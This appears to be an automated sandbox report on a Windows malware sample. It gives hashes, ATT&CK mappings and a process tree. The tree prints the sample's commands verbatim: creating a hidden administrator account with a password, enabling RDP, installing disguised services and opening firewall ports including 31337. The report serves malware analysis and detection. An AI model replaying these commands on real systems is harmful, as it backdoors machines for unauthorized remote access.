48a16449873f16df73c4468805415769a863062802fdcb30568bf5bb2170bf17

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
05-09-2024 23:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe
Size

1.2MB
MD5

ce24e3f6a77491b84dab3c0a6b0203a1
SHA1

070cc99e68a501a6a37ba6155ef2623015dd8967
SHA256

48a16449873f16df73c4468805415769a863062802fdcb30568bf5bb2170bf17
SHA512

7ac4c6496a7d4e522df0664a285bf32303a83f342cebda50cb75ddc23d8d3ac8cd75a5f74aa5ca95920e62cc1a9fd6f8ace385461564dd2c3eb5640956a9d1fd
SSDEEP

24576:7JLMxzpMJbMfUJqhQLklSRvfd8lgDy+BaxZEyr+tE0:2zmJbQU+QwSNlvy+BEnr+tP

Score

9^/10

defense_evasion discovery evasion execution persistence privilege_escalation

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Modifies Windows Firewall 2 TTPs 7 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1868	netsh.exe
336	netsh.exe
1668	netsh.exe
2088	netsh.exe
1160	netsh.exe
3008	netsh.exe
1096	netsh.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\PlugAndPlay\ImagePath = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\svchost.exe -service -debug"	REG.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 1 IoCs

pid	Process
1720	termserv.exe

Loads dropped DLL 2 IoCs

pid	Process
1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe
1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe

Password Policy Discovery 1 TTPs
Attempt to access detailed information about the password policy used within an enterprise network.
discovery

Password Policy Discovery
T1201

Hide Artifacts: Hidden Users 1 TTPs 1 IoCs

defense_evasion

Hidden Users

T1564.002

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\Microsoft = "0"	REG.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1996	sc.exe
536	sc.exe
2944	sc.exe
2544	sc.exe
1072	sc.exe
2176	sc.exe
2060	sc.exe
2084	sc.exe
2636	sc.exe
2828	sc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 21 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 39 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	REG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	REG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	REG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	REG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	REG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	termserv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	REG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe

Runs net.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1720	termserv.exe
1720	termserv.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1172 wrote to memory of 1720	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	31
PID 1172 wrote to memory of 1720	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	31
PID 1172 wrote to memory of 1720	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	31
PID 1172 wrote to memory of 1720	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	31
PID 1172 wrote to memory of 2828	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	32
PID 1172 wrote to memory of 2828	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	32
PID 1172 wrote to memory of 2828	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	32
PID 1172 wrote to memory of 2828	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	32
PID 1172 wrote to memory of 2944	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	34
PID 1172 wrote to memory of 2944	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	34
PID 1172 wrote to memory of 2944	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	34
PID 1172 wrote to memory of 2944	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	34
PID 1172 wrote to memory of 2544	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	36
PID 1172 wrote to memory of 2544	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	36
PID 1172 wrote to memory of 2544	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	36
PID 1172 wrote to memory of 2544	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	36
PID 1172 wrote to memory of 2700	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	38
PID 1172 wrote to memory of 2700	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	38
PID 1172 wrote to memory of 2700	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	38
PID 1172 wrote to memory of 2700	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	38
PID 2700 wrote to memory of 2564	2700	net.exe	40
PID 2700 wrote to memory of 2564	2700	net.exe	40
PID 2700 wrote to memory of 2564	2700	net.exe	40
PID 2700 wrote to memory of 2564	2700	net.exe	40
PID 1172 wrote to memory of 2924	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	41
PID 1172 wrote to memory of 2924	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	41
PID 1172 wrote to memory of 2924	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	41
PID 1172 wrote to memory of 2924	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	41
PID 2924 wrote to memory of 2704	2924	net.exe	43
PID 2924 wrote to memory of 2704	2924	net.exe	43
PID 2924 wrote to memory of 2704	2924	net.exe	43
PID 2924 wrote to memory of 2704	2924	net.exe	43
PID 1172 wrote to memory of 2592	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	44
PID 1172 wrote to memory of 2592	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	44
PID 1172 wrote to memory of 2592	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	44
PID 1172 wrote to memory of 2592	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	44
PID 1172 wrote to memory of 2820	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	45
PID 1172 wrote to memory of 2820	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	45
PID 1172 wrote to memory of 2820	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	45
PID 1172 wrote to memory of 2820	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	45
PID 1172 wrote to memory of 2532	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	47
PID 1172 wrote to memory of 2532	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	47
PID 1172 wrote to memory of 2532	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	47
PID 1172 wrote to memory of 2532	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	47
PID 1172 wrote to memory of 2556	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	48
PID 1172 wrote to memory of 2556	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	48
PID 1172 wrote to memory of 2556	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	48
PID 1172 wrote to memory of 2556	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	48
PID 1172 wrote to memory of 2616	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	50
PID 1172 wrote to memory of 2616	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	50
PID 1172 wrote to memory of 2616	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	50
PID 1172 wrote to memory of 2616	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	50
PID 1172 wrote to memory of 1268	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	51
PID 1172 wrote to memory of 1268	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	51
PID 1172 wrote to memory of 1268	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	51
PID 1172 wrote to memory of 1268	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	51
PID 1172 wrote to memory of 2588	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	56
PID 1172 wrote to memory of 2588	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	56
PID 1172 wrote to memory of 2588	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	56
PID 1172 wrote to memory of 2588	1172	ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe	56
PID 2532 wrote to memory of 1824	2532	net.exe	57
PID 2532 wrote to memory of 1824	2532	net.exe	57
PID 2532 wrote to memory of 1824	2532	net.exe	57
PID 2532 wrote to memory of 1824	2532	net.exe	57

C:\Users\Admin\AppData\Local\Temp\ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\ce24e3f6a77491b84dab3c0a6b0203a1_JaffaCakes118.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1172
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe" -silent
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:1720
- C:\Windows\SysWOW64\sc.exe
  sc start mnmsrvc
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:2828
- C:\Windows\SysWOW64\sc.exe
  sc Start TlntSvr
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:2944
- C:\Windows\SysWOW64\sc.exe
  sc Start TermService
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:2544
- C:\Windows\SysWOW64\net.exe
  net start FastUserSwitchingCompatibility
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2700
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 start FastUserSwitchingCompatibility
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2564
- C:\Windows\SysWOW64\net.exe
  net start TermService
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2924
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 start TermService
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2704
- C:\Windows\SysWOW64\REG.exe
  REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2592
- C:\Windows\SysWOW64\REG.exe
  REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2820
- C:\Windows\SysWOW64\net.exe
  net user Microsoft skj2g43 /add /EXPIRES:NEVER /active:yes
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2532
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 user Microsoft skj2g43 /add /EXPIRES:NEVER /active:yes
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1824
- C:\Windows\SysWOW64\net.exe
  net localgroup Microsoft /add
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2556
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 localgroup Microsoft /add
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2920
- C:\Windows\SysWOW64\net.exe
  net localgroup Àäìèíèñòðàòîðû Microsoft /add
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2616
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 localgroup Àäìèíèñòðàòîðû Microsoft /add
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3068
- C:\Windows\SysWOW64\net.exe
  net localgroup Administrators Microsoft /add
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1268
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 localgroup Administrators Microsoft /add
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2884
- C:\Windows\SysWOW64\net.exe
  net accounts /maxpwage:unlimited
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2588
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 accounts /maxpwage:unlimited
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2872
- C:\Windows\SysWOW64\REG.exe
  REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v Microsoft /t REG_DWORD /d 0 /f
  2⤵
  - Hide Artifacts: Hidden Users
  - System Location Discovery: System Language Discovery
  PID:2860
- C:\Windows\SysWOW64\sc.exe
  sc stop "ProtocolWindows_ "
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:536
- C:\Windows\SysWOW64\sc.exe
  sc delete "ProtocolWindows_ "
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:1072
- C:\Windows\SysWOW64\sc.exe
  sc create "ProtocolWindows_ " binpath= "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\lsass.exe" displayname= "Protocol HTTP/SSL " type= own start= auto error= ignore
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:1996
- C:\Windows\SysWOW64\sc.exe
  sc description "ProtocolWindows_ " "Ýòà ñëóæáa îáåñïå÷èâàåò áåçîïañíûé ïðîòîêîë ïåðåäà÷è äàííûõ ãèïåðòåêñòà (HTTPS) äëÿ ñëóæáû HTTP. Åñëè ýòà ñëóæáà îòêëþ÷åía, ëþáûå ñëóæáû, êîòîðûå ÿâíî çaâèñÿò îò íåå, íå ìîãóò áûòü çàïóùåíû. "
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:2176
- C:\Windows\SysWOW64\sc.exe
  sc stop "PlugAndPlay"
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:2060
- C:\Windows\SysWOW64\sc.exe
  sc delete "PlugAndPlay"
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:2084
- C:\Windows\SysWOW64\sc.exe
  sc create "PlugAndPlay" displayname= "PlugAndPlay " binpath= "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe -service -debug" type= own start= auto error= ignore
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:2636
- C:\Windows\SysWOW64\REG.exe
  REG ADD "HKLM\SYSTEM\CurrentControlSet\services\PlugAndPlay" /v ImagePath /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe -service -debug" /f
  2⤵
  - Sets service image path in registry
  - System Location Discovery: System Language Discovery
  PID:1264
- C:\Windows\SysWOW64\REG.exe
  REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_REGDWORD /d 3389 /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1248
- C:\Windows\SysWOW64\REG.exe
  REG ADD "HKCU\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN" /v iexplore.exe /t REG_REGDWORD /d 0 /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1812
- C:\Windows\SysWOW64\netsh.exe
  netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe" ENABLE
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1096
- C:\Windows\SysWOW64\netsh.exe
  netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\lsass.exe" ENABLE
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1868
- C:\Windows\SysWOW64\netsh.exe
  netsh firewall add allowedprogram ctfmon.exe ENABLE
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:336
- C:\Windows\SysWOW64\netsh.exe
  netsh firewall add portopening protocol = TCP port = 3389 name = TCP
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1668
- C:\Windows\SysWOW64\netsh.exe
  netsh firewall add portopening protocol = TCP port = 31337 name = TCP
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2088
- C:\Windows\SysWOW64\netsh.exe
  netsh firewall add portopening protocol = TCP port = 80 name = TCP
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1160
- C:\Windows\SysWOW64\netsh.exe
  netsh firewall add portopening protocol = TCP port = 8080 name = TCP
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3008

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Users

T1564.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Discovery

Password Policy Discovery

T1201

Permission Groups Discovery

T1069

Local Groups

T1069.001

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\lsass.exe

Filesize
81KB

MD5
6e0966f100cb1f523179c0adba52d45a

SHA1
d3d27da135e1388bc6619bc3f81a3324d2e9d645

SHA256
71059380b8346728a26de74e7a721e63bd9f18e81f1eec76adeabd998fb13e3b

SHA512
3dbebfd08ab3df57fefe193cd98f6ab8aeeff3406d70cc56604d8d0144de2c2b18a56f99281c93d21849badd0d76cbb943d09ce6573271af94fefb4323fbeefd

Download Submit
\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe

Filesize
44KB

MD5
c104fc64f8ed6950ce08a5d653e9e4d7

SHA1
e1186adecb3c647cbec0705df4a8aa80281790c9

SHA256
8ded98254676bb6a64435119df030d84e8186b75051b8a1e7928aa52c8bb3937

SHA512
2b6a7f44b34af744108769658391ff46e885f09f974c32f9a5b0b559bf9e93b1185acb8fe6841c74848e4e06ff9ee31aaca6a648d43f39ae16dcaa96d576335c

Download Submit
memory/1172-0-0x0000000000400000-0x0000000000548000-memory.dmp

Filesize
1.3MB

Download
memory/1172-26-0x0000000000400000-0x0000000000548000-memory.dmp

Filesize
1.3MB

Download
memory/1172-29-0x0000000000400000-0x0000000000548000-memory.dmp

Filesize
1.3MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads